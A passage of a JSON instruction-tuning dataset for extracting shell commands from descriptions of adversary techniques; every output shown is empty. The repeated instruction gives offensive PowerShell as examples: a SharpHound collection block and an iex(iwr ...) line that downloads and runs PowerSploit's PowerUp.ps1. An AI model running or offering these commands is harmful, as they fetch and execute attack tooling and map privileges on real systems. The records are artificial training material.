    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Change Service registry ImagePath of a bengin service to a malicious file\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Common Sudo enumeration methods.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Identify the system owner or current user using native Windows command prompt utilities.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilize get-wmiObject PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Adversaries can activate the default Guest user. The guest account is inactivated by default\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Kill the event log services for stealth via function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) 